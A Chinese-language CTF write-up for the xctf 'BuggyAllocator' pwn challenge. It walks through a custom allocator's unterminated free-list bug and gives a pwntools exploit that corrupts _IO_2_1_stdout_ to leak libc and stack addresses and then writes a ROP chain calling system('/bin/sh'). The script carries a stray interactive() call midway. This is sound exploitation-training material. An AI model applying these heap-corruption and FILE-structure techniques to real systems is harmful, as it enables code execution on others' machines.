xctf_BuggyAllocator复现

程序有 alloc 和dealloc两个选项

__int64 menu()
{
  __int64 v0; // rax
  __int64 v1; // rax
  __int64 v2; // rax

  v0 = std::operator<<<std::char_traits<char>>(&std::cout, "*** Buggy  Allocator***");
  std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  v1 = std::operator<<<std::char_traits<char>>(&std::cout, "***     1. Alloc    ***");
  std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  v2 = std::operator<<<std::char_traits<char>>(&std::cout, "***     2. Dealloc  ***");
  std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
  return std::operator<<<std::char_traits<char>>(&std::cout, "> ");
}

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // rax
  int choice; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  sub_4019D7(a1, a2, a3);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      std::istream::operator>>(&std::cin, &choice);
      if ( choice != 1 )
        break;
      add();
    }
    if ( choice != 2 )
    {
      v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Invalid Choice");
      std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
      exit(0);
    }
    delete();
  }
}

,其中alloc申请大于 0x80 会使用malloc函数分配内存(ptmalloc2),小于等于 0x80会使用自定义的堆管理器去分配内存

_QWORD *__fastcall alloc_memory(size_t size)
{
  __int64 v2; // rax
  _QWORD **v3; // [rsp+18h] [rbp-18h]
  _QWORD *v4; // [rsp+20h] [rbp-10h]

  if ( !size )
    return 0LL;
  if ( size > 0x80 )
    return malloc_(size);
  v3 = (_QWORD **)&free_list[get_idx(size)];
  v4 = *v3;
  if ( *v3 )
  {
    *v3 = (_QWORD *)*v4;
    return v4;
  }
  else
  {
    v2 = Alignment_size(size);
    return refill(v2);
  }
}

自定义的堆管理器维护一个free_list,申请内存的时候,当free list中没有申请大小的堆块时,就会调用refill 填充空闲区域(arena_end - arena_start),填充完后free list中拿,当空闲区域不够refill的时候会判断free list中有没有更大的堆块可以进行refill,如果都不满足会调用malloc申请名称

_QWORD *__fastcall refill(unsigned __int64 size)
{
  int nobjs; // [rsp+18h] [rbp-38h] BYREF
  int i; // [rsp+1Ch] [rbp-34h]
  _QWORD *current_obj; // [rsp+20h] [rbp-30h]
  _QWORD *v5; // [rsp+28h] [rbp-28h]
  _QWORD *my_free_list; // [rsp+30h] [rbp-20h]
  _QWORD *v7; // [rsp+38h] [rbp-18h]
  _QWORD *next_obj; // [rsp+40h] [rbp-10h]
  unsigned __int64 v9; // [rsp+48h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  nobjs = 20;
  v5 = (_QWORD *)chunk_alloc(size, &nobjs);
  if ( nobjs == 1 )
    return v5;
  my_free_list = &free_list[get_idx(size)];
  v7 = v5;
  current_obj = v5;
  *my_free_list = (char *)v5 + size;
  for ( i = 0; i != nobjs - 1; ++i )
  {
    next_obj = (_QWORD *)((char *)current_obj + size);
    *current_obj = (char *)current_obj + size;
    current_obj = next_obj;
  }
  return v7;
}

_QWORD *__fastcall chunk_alloc(unsigned __int64 size, int *nobjs)
{
  unsigned __int64 idx; // rax
  int i; // [rsp+14h] [rbp-3Ch]
  unsigned __int64 all_size; // [rsp+18h] [rbp-38h]
  unsigned __int64 available_size; // [rsp+20h] [rbp-30h]
  _QWORD *arena_start_ptr; // [rsp+28h] [rbp-28h]
  size_t v8; // [rsp+38h] [rbp-18h]
  _QWORD **v9; // [rsp+40h] [rbp-10h]
  _QWORD *v10; // [rsp+48h] [rbp-8h]

  all_size = size * *nobjs;
  available_size = arena_end - arena_start;
  arena_start_ptr = (_QWORD *)arena_start;
  if ( all_size > arena_end - arena_start )
  {
    if ( available_size < size )
    {
      if ( available_size )
      {
        arena_start = arena_end;
        idx = get_idx(available_size);
        *arena_start_ptr = free_list[idx];
        free_list[idx] = arena_start_ptr;
      }
      v8 = 2 * all_size;
      for ( i = size; i <= 128; i += 8 )
      {
        v9 = (_QWORD **)&free_list[get_idx(i)];
        v10 = *v9;
        if ( *v9 )
        {
          *v9 = (_QWORD *)*v10;
          arena_start = (__int64)v10;
          arena_end = (__int64)v10 + i;
          return chunk_alloc(size, nobjs);
        }
      }
      arena_end = 0LL;
      arena_start = (__int64)malloc_(v8);
      arena_end = arena_start + v8;
      return chunk_alloc(size, nobjs);
    }
    else
    {
      *nobjs = available_size / size;
      arena_start += size * *nobjs;
      return arena_start_ptr;
    }
  }
  else
  {
    arena_start += all_size;
    return arena_start_ptr;
  }
}

存在漏洞的地方是建立链表的时候不会将最后一个obj的next指针置空,可以通过堆块上残留的数据伪造一个指针破坏链表,实现任意地址分配

for ( i = 0; i != nobjs - 1; ++i )
{
  next_obj = (_QWORD *)((char *)current_obj + size);
  *current_obj = (char *)current_obj + size;
  current_obj = next_obj;
}

利用的思路是,首先申请大量的堆块,使arena_end - arena_start尽可能的小,这样申请小块内存的时候,建立freelist,会优先从free list中的大堆块中建立,而不是从后面空闲内存那建立,利用大堆块中残留的数据伪造next指针破坏freelist实现任意地址写,写IO_2_1_stdout 通过puts的利用链将libc的地址泄露出来后,再通过environ泄露栈地址,最后写rop

关于puts函数泄露任意地址 IO_2_1_stdout利用链的分析

https://a1ex.online/2020/08/31/IO-FILE%E6%B3%84%E9%9C%B2libc%E5%9C%B0%E5%9D%80/

简单来说 当 write_ptr > write_base时 ,会将write_base这个地址中大小为 (write_ptr - write_base)的数据泄露出来,

其中flag要为特定值才能绕过前面几个cmp,write_end要小于等于 write_ptr

exp

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

p = connect()

def alloc(idx,size,content):
    p.sendlineafter('>','1')
    p.sendlineafter('idx',str(idx))
    p.sendlineafter('size',str(size))
    p.sendafter('Content',content)

def dealloc(idx):
    p.sendlineafter('>','2')
    p.sendlineafter('idx',str(idx))



stdout_addr = 0x404040
alloc(0,0x80,b'A'*0x38+p64(stdout_addr)+b'A'*0x40)
alloc(1,0x80,b'A'*0x40+p64(0xDEADBEAF)+b'A'*0x38)

#清空0x80的freelist 使得 arena_end - arena_start < 0x38 这样申请内存就会从0x80的free list中切割然后拿了
for i in range(2,40):
    alloc(i,0x80,'B'*0x80)

#释放一个0x80堆块用来建立0x38的freelist
dealloc(0)
    
#尝试分配0x38,由于对应freelist为空,在刚释放的0x80(0号)上建立链表并填充0x38的freelist
alloc(0,0x38,'C'*0x38)

#正常取出一个堆块
alloc(40,0x38,'C'*0x38)

    
#取出stdout, 使next chunk为 _p_2_1_stdout_
alloc(41,0x38,b'\x80') #覆盖stdout的低位,stdout低位原本就是 \x80
    
# pwndbg> p _p_2_1_stdout_
# $2 = {
#   file = {
#     _flags = -72542208,  //0xfbad1800
#     _io_read_ptr = 0x0, 
#     _io_read_end = 0x0, 
#     _io_read_base = 0x0, 
#     _io_write_base = 0x7ffff7dd2600 <_io_2_1_stderr_+192> 'A' <repeats 32 times>, //低字节修改成了00
#     _io_write_ptr = 0x7ffff7dd26a3 <_io_2_1_stdout_+131> "\n", 
#     _io_write_end = 0x7ffff7dd26a3 <_io_2_1_stdout_+131> "\n", 
#     _io_buf_base = 0x7ffff7dd26a3 <_io_2_1_stdout_+131> "\n", 
#     _io_buf_end = 0x7ffff7dd26a4 <_io_2_1_stdout_+132> "", 
#     _io_save_base = 0x0, 
#     _io_backup_base = 0x0, 
#     _op_save_end = 0x0, 
#     _markers = 0x0, 
#     _chain = 0x7ffff7dd18e0 <_p_2_1_stdin_>, 
#     _fileno = 1, 
#     _flags2 = 0, 
#     _old_offset = -1, 
#     _cur_column = 0, 
#     _vtable_offset = 0 '\000', 
#     _shortbuf = "\n", 
#     _lock = 0x7ffff7dd3780 <_p_stdfile_1_lock>, 
#     _offset = -1, 
#     _codecvt = 0x0, 
#     _wide_data = 0x7ffff7dd17a0 <_p_wide_data_1>, 
#     _freeres_list = 0x0, 
#     _freeres_buf = 0x0, 
#     __pad5 = 0, 
#     _mode = -1, 
#     _unused2 = '\000' <repeats 19 times>
#   }, 
#   vtable = 0x7ffff7dd06e0 <_p_file_jumps>
# }

payload = flat([0xfbad1800,0,0,0,elf.got['free'],elf.got['free']+0x8,elf.got['free']]) #伪造_p_2_1_stdout_读取libc地址

# gdb.attach(p)
alloc(42,0x38,payload)


p.interactive()

libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['free']
success(f"libc_base ->{hex(libc_base)}")

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
environ_addr = libc_base+libc.sym['environ']
pop_rdi = libc_base + 0x2a3e5
ret = libc_base + 0x2a3e6

#释放再取回,伪造_p_2_1_stdout_泄露environ得到栈地址
dealloc(42)
payload = flat([0xfbad1800,0,0,0,environ_addr,environ_addr+8,environ_addr+8])
alloc(42,0x38,payload)


stack_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x140
success(f"stack_addr ->{hex(stack_addr)}")

#利用残留数据,布置任意地址写用的堆块
dealloc(1)
alloc(1,0x80,b'A'*0x40+p64(stack_addr)+b'A'*0x38)
dealloc(1)
    
#尝试分配0x40,由于对应freelist为空,在刚释放的0x80(1号)上建立链表并填充0x40的freelist
alloc(1,0x40,'C'*0x40)

alloc(43,0x40,'C'*0x40)

payload = p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)
alloc(44,0x40,payload)

p.interactive()
⬆︎TOP